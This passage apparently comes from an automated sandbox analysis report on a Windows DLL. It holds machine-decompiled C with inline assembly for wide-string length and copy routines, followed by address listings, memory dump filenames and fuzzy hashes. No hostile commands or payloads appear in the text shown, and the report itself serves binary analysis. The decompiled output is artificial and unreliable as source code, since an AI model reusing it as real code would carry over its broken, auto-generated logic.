								if(_t418 == 0) {
									__eflags = 0;
									 *_t272 = 0;
									goto L65;
								} else {
									__eflags = _t272;
									if(_t272 == 0) {
										L63:
										_push(2);
										_push(_t418);
										_v64 = _t272;
										E6E6610B0();
										_t272 = _v64;
										_t473 = _t473 + 8;
										L65:
										_t418 = _t272;
										goto L66;
									}
									_t409 =  *_t418 & 0x0000ffff;
									 *_t272 = _t409;
									__eflags = _t409;
									if(_t409 == 0) {
										goto L63;
									}
									_t410 = 0;
									__eflags = 0;
									while(1) {
										_t410 = _t410 + 1;
										_t354 =  *(_t418 + _t410 * 4 - 2) & 0x0000ffff;
										 *(_t272 + _t410 * 4 - 2) = _t354;
										__eflags = _t354;
										if(_t354 == 0) {
											goto L63;
										}
										_t355 =  *(_t418 + _t410 * 4) & 0x0000ffff;
										 *(_t272 + _t410 * 4) = _t355;
										__eflags = _t355;
										if(_t355 != 0) {
											continue;
										}
										goto L63;
									}
									goto L63;
								}
							}
							_v32 = _t241;
							goto L42;
							L68:
							_t241 = _t452;
							_t306 = _t306 + 1;
							__eflags = _t306 -  *_t241;
						} while (_t306 <  *_t241);
						_t445 = _a4;
						goto L70;
					}
					__eflags =  *_t364 & 0x0000ffff;
					if(( *_t364 & 0x0000ffff) == 0) {
						goto L37;
					}
					_t277 = _t364 & 0x0000000f;
					__eflags = _t277;
					if(_t277 == 0) {
						L18:
						asm("pxor xmm0, xmm0");
						_t429 =  ~( ~_t277 + 0x00000007 & 0x00000007) + 0x7fffffff;
						__eflags = _t429;
						_v64 = _t429;
						_t467 = _t429;
						while(1) {
							asm("movdqu xmm1, [edx+eax*2]");
							asm("pcmpeqw xmm1, xmm0");
							asm("pmovmskb edi, xmm1");
							__eflags = _t429;
							if(_t429 != 0) {
								break;
							}
							_t277 = _t277 + 8;
							__eflags = _t277 - _t467;
							if(_t277 < _t467) {
								continue;
							}
							_v64 = _t467;
							_t445 = _a4;
							__eflags = _v64 - 0x7fffffff;
							if(_v64 >= 0x7fffffff) {
								L25:
								_v64 = 0x7fffffff;
								L26:
								_t433 = _v64 + 1;
								__eflags = _t433 - 0x40;
								_t434 =  <=  ? 0x40 : _t433;
								__eflags = _t434;
								if(_t434 > 0) {
									_t283 = (_t434 >> 5 >> 0x1a) + _t434 >> 6;
									_t435 = _t434 & 0x8000003f;
									__eflags = _t435;
									if(_t435 < 0) {
										_t435 = (_t435 - 0x00000001 | 0xffffffc0) + 1;
										__eflags = _t435;
									}
									__eflags = _t435;
									_t284 = _t283 + (0 | _t435 > 0x00000000);
									_v40 = _t284 << 6;
									_push(_t284 << 7);
									_v68 = _t364;
									_t286 = E6E661030();
									_t411 = _v68;
									_t473 = _t473 + 4;
									_t418 = _t286;
									 *_t286 = 0;
									_v32 = _t294;
									_t468 = _v64;
									while(1) {
										_t312 =  *_t411 & 0x0000ffff;
										_t316 = 1;
										 *_t286 = _t312;
										__eflags = _t468;
										if(_t468 == 0) {
											goto L35;
										}
										__eflags = 1 - _t468;
										if(1 == _t468) {
											__eflags = 0;
											_t445 = _a4;
											_t294 = _v32;
											_t286[0] = 0;
											L191:
											__eflags =  *_t294 - 1;
											if( *_t294 > 1) {
												goto L39;
											}
											goto L192;
										}
										L35:
										__eflags = _t312;
										if(_t312 == 0) {
											_t445 = _a4;
											_t294 = _v32;
											goto L191;
										}
										_t286 =  &(_t286[0]);
										_t411 = _t411 + 2;
										__eflags = _t411;
									}
								}
								_t418 = 0;
								__eflags = _t316 - 1;
								if(_t316 <= 1) {
									goto L70;
								}
								_v40 = 0;
								goto L39;
							}
							L22:
							_t287 = _v64;
							while(1) {
								__eflags =  *(_t364 + _t287 * 2) & 0x0000ffff;
								if(( *(_t364 + _t287 * 2) & 0x0000ffff) == 0) {
									break;
								}
								_t287 = _t287 + 1;
								__eflags = _t287 - 0x7fffffff;
								if(_t287 < 0x7fffffff) {
									continue;
								}
								goto L25;
							}
							_v64 = _t287;
							goto L26;
						}
						asm("bsf edi, edi");
						_t445 = _a4;
						_v64 = (_t429 >> 1) + _t277;
						goto L26;
					}
					_t441 = 0;
					_v64 = 0;
					__eflags = _t277 & 0x00000001;
					if((_t277 & 0x00000001) != 0) {
						goto L22;
					}
					_t277 =  ~_t277 + 0x10 >> 1;
					__eflags = _t277;
					while(1) {
						__eflags =  *(_t364 + _t441 * 2) & 0x0000ffff;
						if(( *(_t364 + _t441 * 2) & 0x0000ffff) == 0) {
							break;
						}
						_t441 = _t441 + 1;
						__eflags = _t441 - _t277;
						if(_t441 < _t277) {
							continue;
						}
						goto L18;
					}
					_v64 = _t441;
					_t445 = _a4;
					goto L26;
				}
				_push(0x80);
				 *_t445 = 0;
				_t445[1] = 0;
				_t313 = E6E661030();
				_t474 = _t473 + 4;
				_t414 =  *_t445;
				if(_t414 == 0) {
					__eflags = 0;
					 *_t313 = 0;
					L9:
					 *_t445 = _t313;
					_t445[1] = 0x40;
					goto L115;
				}
				if(_t313 == 0) {
					L7:
					_push(2);
					_push(_t414);
					E6E6610B0();
					_t474 = _t474 + 8;
					goto L9;
				}
				_t361 =  *_t414 & 0x0000ffff;
				 *_t313 = _t361;
				if(_t361 == 0) {
					goto L7;
				}
				_t362 = 0;
				while(1) {
					_t362 = _t362 + 1;
					_t442 =  *(_t414 + _t362 * 4 - 2) & 0x0000ffff;
					 *(_t313 + _t362 * 4 - 2) = _t442;
					if(_t442 == 0) {
						goto L7;
					}
					_t443 =  *(_t414 + _t362 * 4) & 0x0000ffff;
					 *(_t313 + _t362 * 4) = _t443;
					if(_t443 != 0) {
						continue;
					}
					goto L7;
				}
				goto L7;
			}

0x6e66d039
0x6e66d043
0x6e66d04f
0x6e66d051
0x6e66d054
0x6e66d058
0x6e66d0c6
0x6e66d0c8
0x6e66d0ca
0x6e66d214
0x6e66d214
0x6e66d21e
0x6e66d220
0x6e66d225
0x6e66d228
0x6e66d22b
0x6e66d3a1
0x6e66d3a3
0x6e66d3a5
0x6e66d3a8
0x6e66d3aa
0x6e66d507
0x6e66d507
0x6e66d511
0x6e66d513
0x6e66d516
0x6e66d518
0x6e66d51a
0x6e66d554
0x6e66d556
0x6e66d559
0x6e66d559
0x6e66d55b
0x6e66d562
0x6e66d562
0x6e66d564
0x6e66d565
0x6e66d56a
0x6e66d56d
0x6e66d56d
0x6e66d573
0x6e66d577
0x6e66d57b
0x6e66d581
0x6e66d5dc
0x6e66d5dc
0x6e66d5de
0x6e66d5df
0x6e66d5e7
0x6e66d5fa
0x6e66d5fa
0x6e66d585
0x6e66d587
0x6e66d8fb
0x6e66d5c2
0x6e66d5c7
0x6e66d5c9
0x6e66d5cf
0x6e66d5d1
0x6e66d5d3
0x6e66d5d8
0x6e66d5d8
0x6e66d5cf
0x00000000
0x6e66d5c7
0x6e66d58d
0x6e66d58f
0x6e66d591
0x6e66d591
0x6e66d596
0x6e66d598
0x6e66d59a
0x6e66d59f
0x6e66d59f
0x6e66d5a3
0x6e66d5a9
0x6e66d5ab
0x6e66d5ad
0x6e66d5b2
0x6e66d5b2
0x6e66d5b6
0x6e66d5b7
0x6e66d5bb
0x6e66d5be
0x00000000
0x6e66d5be
0x6e66d51c
0x6e66d51e
0x6e66d547
0x6e66d547
0x6e66d549
0x6e66d54a
0x6e66d54f
0x00000000
0x6e66d54f
0x6e66d520
0x6e66d523
0x6e66d526
0x6e66d528
0x00000000
0x00000000
0x6e66d52a
0x6e66d52a
0x6e66d52c
0x6e66d52c
0x6e66d52d
0x6e66d532
0x6e66d537
0x6e66d539
0x00000000
0x00000000
0x6e66d53b
0x6e66d53f
0x6e66d543
0x6e66d545
0x00000000
0x00000000
0x00000000
0x6e66d545
0x00000000
0x6e66d52c
0x6e66d3b0
0x6e66d3b3
0x6e66d3b5
0x00000000
0x00000000
0x6e66d3bd
0x6e66d3bd
0x6e66d3c0
0x6e66d3dd
0x6e66d3e1
0x6e66d3ed
0x6e66d3ed
0x6e66d3f3
0x6e66d3f3
0x6e66d3f8
0x6e66d3fc
0x6e66d400
0x6e66d402
0x00000000
0x00000000
0x6e66d408
0x6e66d40b
0x6e66d40d
0x00000000
0x00000000
0x6e66d40f
0x6e66d415
0x6e66d428
0x6e66d428
0x6e66d42d
0x6e66d432
0x6e66d432
0x6e66d435
0x6e66d438
0x6e66d43b
0x6e66d43d
0x6e66d450
0x6e66d453
0x6e66d453
0x6e66d458
0x6e66d460
0x6e66d460
0x6e66d460
0x6e66d463
0x6e66d468
0x6e66d472
0x6e66d476
0x6e66d477
0x6e66d47c
0x6e66d47f
0x6e66d481
0x6e66d483
0x6e66d4c8
0x6e66d4ca
0x00000000
0x6e66d485
0x6e66d485
0x6e66d487
0x6e66d4b3
0x6e66d4b3
0x6e66d4b5
0x6e66d4b6
0x6e66d4ba
0x6e66d4bf
0x6e66d4c3
0x6e66d4cd
0x6e66d4d1
0x6e66d4d4
0x6e66d4d6
0x6e66d4d6
0x6e66d4d8
0x6e66d4da
0x00000000
0x00000000
0x6e66d4e0
0x6e66d4ea
0x6e66d4ea
0x6e66d4ed
0x6e66d4ee
0x6e66d4f1
0x6e66d4f3
0x00000000
0x00000000
0x6e66d4f5
0x6e66d4f7
0x6e66d8db
0x6e66d8de
0x00000000
0x6e66d8de
0x6e66d4fd
0x6e66d4fd
0x6e66d4ff
0x6e66d8e7
0x00000000
0x6e66d8e7
0x6e66d4e4
0x6e66d4e7
0x6e66d4e7
0x6e66d4e7
0x6e66d4ea
0x6e66d489
0x6e66d48c
0x6e66d48f
0x6e66d491
0x00000000
0x00000000
0x6e66d493
0x6e66d493
0x6e66d495
0x6e66d495
0x6e66d496
0x6e66d49b
0x6e66d4a0
0x6e66d4a2
0x00000000
0x00000000
0x6e66d4a4
0x6e66d4a8
0x6e66d4ac
0x6e66d4ae
0x00000000
0x00000000
0x00000000
0x6e66d4ae
0x6e66d4b0
0x00000000
0x6e66d4b0
0x6e66d483
0x6e66d43f
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66d417
0x6e66d417
0x6e66d41b
0x6e66d41d
0x00000000
0x00000000
0x6e66d41f
0x6e66d420
0x6e66d426
0x00000000
0x00000000
0x00000000
0x6e66d426
0x00000000
0x6e66d417
0x6e66d8ef
0x6e66d8f4
0x00000000
0x6e66d8f4
0x6e66d3c2
0x6e66d3c4
0x6e66d3c7
0x00000000
0x00000000
0x6e66d3ce
0x6e66d3ce
0x6e66d3d0
0x6e66d3d0
0x6e66d3d4
0x6e66d3d6
0x00000000
0x00000000
0x6e66d3d8
0x6e66d3d9
0x6e66d3db
0x00000000
0x00000000
0x00000000
0x6e66d3db
0x00000000
0x6e66d3d0
0x6e66d231
0x6e66d239
0x6e66d23b
0x6e66d23c
0x6e66d23e
0x6e66d240
0x6e66d244
0x6e66d246
0x6e66d246
0x6e66d248
0x6e66d977
0x6e66d924
0x6e66d924
0x6e66d928
0x6e66d2cb
0x6e66d2d0
0x6e66d2d0
0x6e66d2d3
0x6e66d2d6
0x6e66d2d9
0x6e66d2dd
0x6e66d368
0x6e66d36d
0x6e66d36f
0x6e66d373
0x6e66d378
0x6e66d382
0x6e66d384
0x6e66d386
0x00000000
0x00000000
0x6e66d388
0x6e66d38b
0x6e66d38d
0x6e66d5fd
0x6e66d5ff
0x00000000
0x00000000
0x6e66d607
0x6e66d607
0x6e66d60a
0x6e66d626
0x6e66d62a
0x6e66d636
0x6e66d636
0x6e66d63c
0x6e66d63c
0x6e66d641
0x6e66d645
0x6e66d649
0x6e66d64b
0x00000000
0x00000000
0x6e66d651
0x6e66d654
0x6e66d656
0x00000000
0x00000000
0x6e66d658
0x6e66d65e
0x6e66d671
0x6e66d671
0x6e66d676
0x6e66d676
0x6e66d678
0x6e66d958
0x6e66d701
0x6e66d701
0x6e66d701
0x6e66d705
0x6e66d707
0x6e66d730
0x6e66d733
0x6e66d736
0x6e66d73a
0x6e66d7e1
0x6e66d7e1
0x6e66d7e3
0x6e66d7e5
0x6e66d919
0x6e66d919
0x6e66d91d
0x6e66d91f
0x6e66d920
0x6e66d922
0x6e66d92f
0x6e66d934
0x6e66d936
0x00000000
0x6e66d936
0x00000000
0x6e66d922
0x6e66d7eb
0x6e66d7ee
0x6e66d7ee
0x6e66d7f0
0x6e66d81c
0x6e66d81c
0x6e66d81e
0x6e66d820
0x6e66d829
0x6e66d85c
0x6e66d85c
0x6e66d860
0x6e66d862
0x6e66d865
0x6e66d866
0x6e66d868
0x6e66d252
0x6e66d254
0x6e66d254
0x6e66d257
0x6e66d277
0x6e66d27b
0x6e66d287
0x6e66d287
0x6e66d28d
0x6e66d28d
0x6e66d292
0x6e66d296
0x6e66d29a
0x6e66d29c
0x00000000
0x00000000
0x6e66d2a2
0x6e66d2a5
0x6e66d2a7
0x00000000
0x00000000
0x6e66d2a9
0x6e66d2af
0x6e66d2c6
0x6e66d2c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66d2b1
0x6e66d2b1
0x6e66d2b5
0x6e66d2b7
0x00000000
0x00000000
0x6e66d2bd
0x6e66d2be
0x6e66d2c4
0x00000000
0x00000000
0x00000000
0x6e66d2c4
0x6e66d8c6
0x6e66d8c6
0x6e66d8c9
0x6e66d8d1
0x6e66d8d1
0x00000000
0x6e66d8c9
0x6e66d96b
0x6e66d970
0x00000000
0x6e66d970
0x6e66d259
0x6e66d25b
0x6e66d25d
0x00000000
0x00000000
0x6e66d264
0x6e66d264
0x6e66d266
0x6e66d266
0x6e66d26a
0x6e66d26c
0x00000000
0x00000000
0x6e66d272
0x6e66d273
0x6e66d275
0x00000000
0x00000000
0x00000000
0x6e66d275
0x00000000
0x6e66d266
0x6e66d93e
0x6e66d895
0x6e66d897
0x6e66d899
0x00000000
0x6e66d899
0x6e66d82b
0x6e66d82b
0x6e66d833
0x6e66d837
0x6e66d83b
0x6e66d83f
0x6e66d83f
0x6e66d843
0x6e66d847
0x6e66d849
0x00000000
0x00000000
0x6e66d84b
0x6e66d84b
0x6e66d84f
0x6e66d850
0x6e66d852
0x00000000
0x00000000
0x00000000
0x6e66d852
0x6e66d854
0x6e66d858
0x00000000
0x6e66d858
0x6e66d822
0x00000000
0x6e66d822
0x6e66d7f2
0x6e66d7f6
0x6e66d7f6
0x6e66d7f8
0x6e66d7fc
0x6e66d7fc
0x6e66d7fd
0x6e66d804
0x6e66d807
0x6e66d809
0x00000000
0x00000000
0x6e66d80e
0x6e66d810
0x6e66d812
0x00000000
0x00000000
0x00000000
0x6e66d812
0x6e66d814
0x6e66d818
0x00000000
0x6e66d818
0x6e66d740
0x6e66d74a
0x6e66d74d
0x6e66d74d
0x6e66d752
0x6e66d75a
0x6e66d75a
0x6e66d75a
0x6e66d75b
0x6e66d765
0x6e66d76f
0x6e66d773
0x6e66d774
0x6e66d778
0x6e66d77d
0x6e66d781
0x6e66d783
0x6e66d786
0x6e66d788
0x6e66d7da
0x6e66d7dc
0x00000000
0x6e66d78a
0x6e66d78a
0x6e66d78c
0x6e66d7bd
0x6e66d7bd
0x6e66d7bf
0x6e66d7c0
0x6e66d7c4
0x6e66d7c8
0x6e66d7cd
0x6e66d7d1
0x6e66d7d5
0x6e66d7df
0x6e66d7df
0x00000000
0x6e66d7df
0x6e66d78e
0x6e66d791
0x6e66d794
0x6e66d796
0x00000000
0x00000000
0x6e66d798
0x6e66d79c
0x6e66d79c
0x6e66d79e
0x6e66d79e
0x6e66d79f
0x6e66d7a4
0x6e66d7a9
0x6e66d7ab
0x00000000
0x00000000
0x6e66d7ad
0x6e66d7b1
0x6e66d7b5
0x6e66d7b7
0x00000000
0x00000000
0x00000000
0x6e66d7b7
0x6e66d7b9
0x00000000
0x6e66d7b9
0x6e66d788
0x6e66d709
0x6e66d70b
0x6e66d90e
0x6e66d913
0x6e66d724
0x6e66d724
0x00000000
0x6e66d724
0x00000000
0x6e66d913
0x6e66d711
0x6e66d713
0x6e66d716
0x6e66d71b
0x00000000
0x00000000
0x6e66d71d
0x00000000
0x6e66d71d
0x6e66d680
0x6e66d680
0x6e66d683
0x6e66d6ac
0x6e66d6b0
0x6e66d6bc
0x6e66d6c0
0x6e66d6c0
0x6e66d6c5
0x6e66d6c5
0x6e66d6ca
0x6e66d6ce
0x6e66d6d2
0x6e66d6d4
0x00000000
0x00000000
0x6e66d6da
0x6e66d6dd
0x6e66d6df
0x00000000
0x00000000
0x6e66d6e1
0x6e66d6e5
0x6e66d6ea
0x6e66d6fc
0x6e66d6fc
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66d6ec
0x6e66d6ec
0x6e66d6f0
0x6e66d6f2
0x00000000
0x00000000
0x6e66d6f4
0x6e66d6f5
0x6e66d6fa
0x00000000
0x00000000
0x00000000
0x6e66d6fa
0x00000000
0x6e66d6ec
0x6e66d948
0x6e66d94b
0x6e66d94d
0x6e66d951
0x00000000
0x6e66d951
0x6e66d685
0x6e66d687
0x6e66d68a
0x00000000
0x00000000
0x6e66d691
0x6e66d691
0x6e66d693
0x6e66d697
0x6e66d69b
0x6e66d69d
0x00000000
0x00000000
0x6e66d6a3
0x6e66d6a4
0x6e66d6a6
0x00000000
0x00000000
0x6e66d6a8
0x00000000
0x6e66d6a8
0x6e66d905
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66d660
0x6e66d660
0x6e66d664
0x6e66d666
0x00000000
0x00000000
0x6e66d668
0x6e66d669
0x6e66d66f
0x00000000
0x00000000
0x00000000
0x6e66d66f
0x00000000
0x6e66d660
0x6e66d95f
0x6e66d964
0x00000000
0x6e66d964
0x6e66d60c
0x6e66d60e
0x6e66d610
0x00000000
0x00000000
0x6e66d617
0x6e66d617
0x6e66d619
0x6e66d619
0x6e66d61d
0x6e66d61f
0x00000000
0x00000000
0x6e66d621
0x6e66d622
0x6e66d624
0x00000000
0x00000000
0x00000000
0x6e66d624
0x00000000
0x6e66d619
0x00000000
0x6e66d38d
0x6e66d2ed
0x6e66d2f0
0x6e66d2f0
0x6e66d2f6
0x6e66d2fe
0x6e66d2fe
0x6e66d2fe
0x6e66d301
0x6e66d306
0x6e66d310
0x6e66d314
0x6e66d315
0x6e66d31a
0x6e66d31d
0x6e66d31f
0x6e66d361
0x6e66d363
0x00000000
0x6e66d321
0x6e66d321
0x6e66d323
0x6e66d34c
0x6e66d34c
0x6e66d34e
0x6e66d34f
0x6e66d353
0x6e66d358
0x6e66d35c
0x6e66d366
0x6e66d366
0x00000000
0x6e66d366
0x6e66d325
0x6e66d328
0x6e66d32b
0x6e66d32d
0x00000000
0x00000000
0x6e66d32f
0x6e66d32f
0x6e66d331
0x6e66d331
0x6e66d332
0x6e66d337
0x6e66d33c
0x6e66d33e
0x00000000
0x00000000
0x6e66d340
0x6e66d344
0x6e66d348
0x6e66d34a
0x00000000
0x00000000
0x00000000
0x6e66d34a
0x00000000
0x6e66d331
0x6e66d31f
0x6e66d24e
0x00000000
0x6e66d393
0x6e66d393
0x6e66d395
0x6e66d396
0x6e66d396
0x6e66d39e
0x00000000
0x6e66d39e
0x6e66d0d3
0x6e66d0d5
0x00000000
0x00000000
0x6e66d0dd
0x6e66d0dd
0x6e66d0e0
0x6e66d107
0x6e66d10b
0x6e66d117
0x6e66d117
0x6e66d11d
0x6e66d121
0x6e66d123
0x6e66d123
0x6e66d128
0x6e66d12c
0x6e66d130
0x6e66d132
0x00000000
0x00000000
0x6e66d138
0x6e66d13b
0x6e66d13d
0x00000000
0x00000000
0x6e66d13f
0x6e66d143
0x6e66d146
0x6e66d14e
0x6e66d168
0x6e66d168
0x6e66d170
0x6e66d179
0x6e66d17c
0x6e66d17f
0x6e66d182
0x6e66d184
0x6e66d1a8
0x6e66d1ab
0x6e66d1ab
0x6e66d1b1
0x6e66d1b9
0x6e66d1b9
0x6e66d1b9
0x6e66d1bc
0x6e66d1c1
0x6e66d1cb
0x6e66d1cf
0x6e66d1d0
0x6e66d1d4
0x6e66d1d9
0x6e66d1dd
0x6e66d1e2
0x6e66d1e4
0x6e66d1e7
0x6e66d1eb
0x6e66d1f7
0x6e66d1f7
0x6e66d1fa
0x6e66d1fb
0x6e66d1fe
0x6e66d200
0x00000000
0x00000000
0x6e66d202
0x6e66d204
0x6e66d87f
0x6e66d881
0x6e66d884
0x6e66d888
0x6e66d88c
0x6e66d88c
0x6e66d88f
0x00000000
0x00000000
0x00000000
0x6e66d88f
0x6e66d20a
0x6e66d20a
0x6e66d20c
0x6e66d8a1
0x6e66d8a4
0x00000000
0x6e66d8a4
0x6e66d1f1
0x6e66d1f4
0x6e66d1f4
0x6e66d1f4
0x6e66d1f7
0x6e66d186
0x6e66d188
0x6e66d18b
0x00000000
0x00000000
0x6e66d191
0x00000000
0x6e66d191
0x6e66d150
0x6e66d150
0x6e66d154
0x6e66d158
0x6e66d15a
0x00000000
0x00000000
0x6e66d160
0x6e66d161
0x6e66d166
0x00000000
0x00000000
0x00000000
0x6e66d166
0x6e66d8aa
0x00000000
0x6e66d8aa
0x6e66d8b3
0x6e66d8ba
0x6e66d8bd
0x00000000
0x6e66d8bd
0x6e66d0e2
0x6e66d0e4
0x6e66d0e8
0x6e66d0ea
0x00000000
0x00000000
0x6e66d0f1
0x6e66d0f1
0x6e66d0f3
0x6e66d0f7
0x6e66d0f9
0x00000000
0x00000000
0x6e66d0ff
0x6e66d100
0x6e66d102
0x00000000
0x00000000
0x00000000
0x6e66d104
0x6e66d873
0x6e66d877
0x00000000
0x6e66d877
0x6e66d05a
0x6e66d061
0x6e66d063
0x6e66d06b
0x6e66d06d
0x6e66d070
0x6e66d074
0x6e66d0ae
0x6e66d0b0
0x6e66d0b3
0x6e66d0b3
0x6e66d0b5
0x00000000
0x6e66d0b5
0x6e66d078
0x6e66d0a1
0x6e66d0a1
0x6e66d0a3
0x6e66d0a4
0x6e66d0a9
0x00000000
0x6e66d0a9
0x6e66d07a
0x6e66d07d
0x6e66d082
0x00000000
0x00000000
0x6e66d084
0x6e66d086
0x6e66d086
0x6e66d087
0x6e66d08c
0x6e66d093
0x00000000
0x00000000
0x6e66d095
0x6e66d099
0x6e66d09f
0x00000000
0x00000000
0x00000000
0x6e66d09f
0x00000000

Strings

@, xrefs: 6E66D90E

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 752c5ff02bc24ceb70419a329ead1c3dab5549dfac1f6eefbc4f612475c4781f
Instruction ID: d5019b1b0bd2943785942e0a4eb13ccd8fa9f8e94fd43d793ac9bdd78a5941bd
Opcode Fuzzy Hash: 752c5ff02bc24ceb70419a329ead1c3dab5549dfac1f6eefbc4f612475c4781f
Instruction Fuzzy Hash: 86423871A247138BD7549FAAC45022A73E2BFD6354F35872CD8A99B394EB31D841CB83

Uniqueness

Uniqueness Score: -1.00%

Function 6E6789F0, Relevance: 2.0, Strings: 1, Instructions: 748
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6E6789F0(intOrPtr* __ecx, signed int* _a4, signed int _a8) {
				unsigned int _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _t205;
				signed int* _t207;
				signed int _t211;
				unsigned int _t217;
				signed int _t218;
				signed int _t220;
				signed int _t223;
				intOrPtr* _t224;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t242;
				signed int _t243;
				signed int _t248;
				signed int _t253;
				signed int _t258;
				signed int _t261;
				signed int _t262;
				unsigned int _t271;
				signed int _t277;
				void* _t278;
				signed int _t279;
				signed int _t280;
				short* _t283;
				signed int _t285;
				signed int _t286;
				intOrPtr* _t292;
				signed short* _t295;
				signed int* _t296;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				signed int _t302;
				signed int _t303;
				unsigned int _t309;
				signed int _t310;
				signed int _t313;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				void* _t322;
				signed int _t323;
				void* _t324;
				signed int _t325;
				signed int _t326;
				signed int _t329;
				signed int _t330;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				unsigned int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t350;
				intOrPtr _t352;
				intOrPtr* _t353;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				void* _t358;
				signed int _t359;
				signed int _t360;
				signed int* _t365;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t374;
				unsigned int _t381;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t385;
				intOrPtr* _t386;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t401;
				unsigned int _t403;
				signed int _t404;
				signed short* _t405;
				signed int _t406;
				signed int _t407;
				signed int _t414;
				intOrPtr* _t419;
				signed int _t420;
				signed int _t423;
				signed int _t424;
				signed int _t425;
				unsigned int _t431;
				signed int _t433;
				signed int _t439;
				signed int* _t441;
				signed int* _t442;
				signed int _t444;
				void* _t446;
				void* _t448;

				_push(_t298);
				_t446 = (_t444 & 0xfffffff0) - 0x24;
				_t419 = __ecx;
				_t352 =  *__ecx;
				if(_t352 != 0) {
					_t318 =  *( *( *(__ecx + 4)));
					__eflags = _t318;
					if(_t318 == 0) {
						L34:
						_push(0x80);
						_t299 = E6E661030();
						_t446 = _t446 + 4;
						__eflags =  *_t419 - 1;
						 *_t299 = 0;
						if( *_t419 <= 1) {
							goto L45;
						} else {
							_t374 = 0x40;
							goto L36;
						}
					} else {
						__eflags =  *_t318 & 0x0000ffff;
						if(( *_t318 & 0x0000ffff) == 0) {
							goto L34;
						} else {
							_t277 = _t318 & 0x0000000f;
							__eflags = _t277;
							if(_t277 == 0) {
								L16:
								asm("pxor xmm0, xmm0");
								_t414 =  ~( ~_t277 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t414;
								while(1) {
									asm("movdqu xmm1, [ecx+eax*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb ebx, xmm1");
									__eflags = _t298;
									if(_t298 != 0) {
										break;
									}
									_t277 = _t277 + 8;
									__eflags = _t277 - _t414;
									if(_t277 < _t414) {
										continue;
									} else {
										__eflags = _t414 - 0x7fffffff;
										if(_t414 >= 0x7fffffff) {
											goto L22;
										} else {
											goto L20;
										}
									}
									goto L23;
								}
								asm("bsf edi, ebx");
								_t414 = (_t414 >> 1) + _t277;
							} else {
								_t414 = 0;
								__eflags = _t277 & 0x00000001;
								if((_t277 & 0x00000001) != 0) {
									while(1) {
										L20:
										__eflags =  *(_t318 + _t414 * 2) & 0x0000ffff;
										if(( *(_t318 + _t414 * 2) & 0x0000ffff) == 0) {
											goto L23;
										}
										_t414 = _t414 + 1;
										__eflags = _t414 - 0x7fffffff;
										if(_t414 < 0x7fffffff) {
											continue;
										} else {
											L22:
											_t414 = 0x7fffffff;
										}
										goto L23;
									}
								} else {
									_t277 =  ~_t277 + 0x10 >> 1;
									__eflags = _t277;
									while(1) {
										_t298 =  *(_t318 + _t414 * 2) & 0x0000ffff;
										__eflags = _t298;
										if(_t298 == 0) {
											goto L23;
										}
										_t414 = _t414 + 1;
										__eflags = _t414 - _t277;
										if(_t414 < _t277) {
											continue;
										} else {
											goto L16;
										}
										goto L23;
									}
								}
							}
							L23:
							_t23 = _t414 + 1; // 0x80000000
							_t278 = _t23;
							__eflags = _t278 - 0x40;
							_t279 =  <=  ? 0x40 : _t278;
							__eflags = _t279;
							if(_t279 > 0) {
								_t309 = (_t279 >> 5 >> 0x1a) + _t279 >> 6;
								_t280 = _t279 & 0x8000003f;
								__eflags = _t280;
								if(_t280 < 0) {
									_t280 = (_t280 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t280;
								}
								__eflags = _t280;
								_t310 = _t309 + (0 | _t280 > 0x00000000);
								_push(_t310 << 7);
								_v36 = _t310 << 6;
								_v52 = _t318;
								_t283 = E6E661030();
								_t350 = _v52;
								_t374 = _v36;
								_v48 = _t283;
								_t446 = _t446 + 4;
								_v40 = _t283;
								_v44 = 0;
								 *_t283 = 0;
								_v28 = _t419;
								_v52 =  *_t419;
								_t313 = _v44;
								_t441 = _v48;
								while(1) {
									_t285 =  *_t350 & 0x0000ffff;
									_t313 = _t313 + 1;
									 *_t441 = _t285;
									__eflags = _t414;
									if(_t414 == 0) {
										goto L32;
									}
									__eflags = _t313 - _t414;
									if(_t313 == _t414) {
										_v48 = _t441;
										__eflags = 0;
										_t299 = _v40;
										_t286 = _v52;
										_t419 = _v28;
										_t441[0] = 0;
									} else {
										goto L32;
									}
									L177:
									__eflags = _t286 - 1;
									if(_t286 > 1) {
										goto L36;
									} else {
										goto L178;
									}
									goto L89;
									L32:
									__eflags = _t285;
									if(_t285 == 0) {
										_t299 = _v40;
										_t286 = _v52;
										_t419 = _v28;
									} else {
										_t441 =  &(_t441[0]);
										_t350 = _t350 + 2;
										__eflags = _t350;
										continue;
									}
									goto L177;
								}
							} else {
								_t299 = 0;
								__eflags = _t352 - 1;
								if(_t352 <= 1) {
									L45:
									_t353 = _a4;
									 *_t353 = 0;
									 *((intOrPtr*)(_t353 + 4)) = 0;
									__eflags = _t299;
									if(_t299 == 0) {
										goto L80;
									} else {
										goto L46;
									}
								} else {
									_t374 = 0;
									L36:
									_t223 = _a8 & 0x0000ffff;
									_t403 = 1;
									_v36 = _t374;
									asm("pxor xmm0, xmm0");
									do {
										__eflags = _t223;
										if(_t223 == 0) {
											_v28 = _t419;
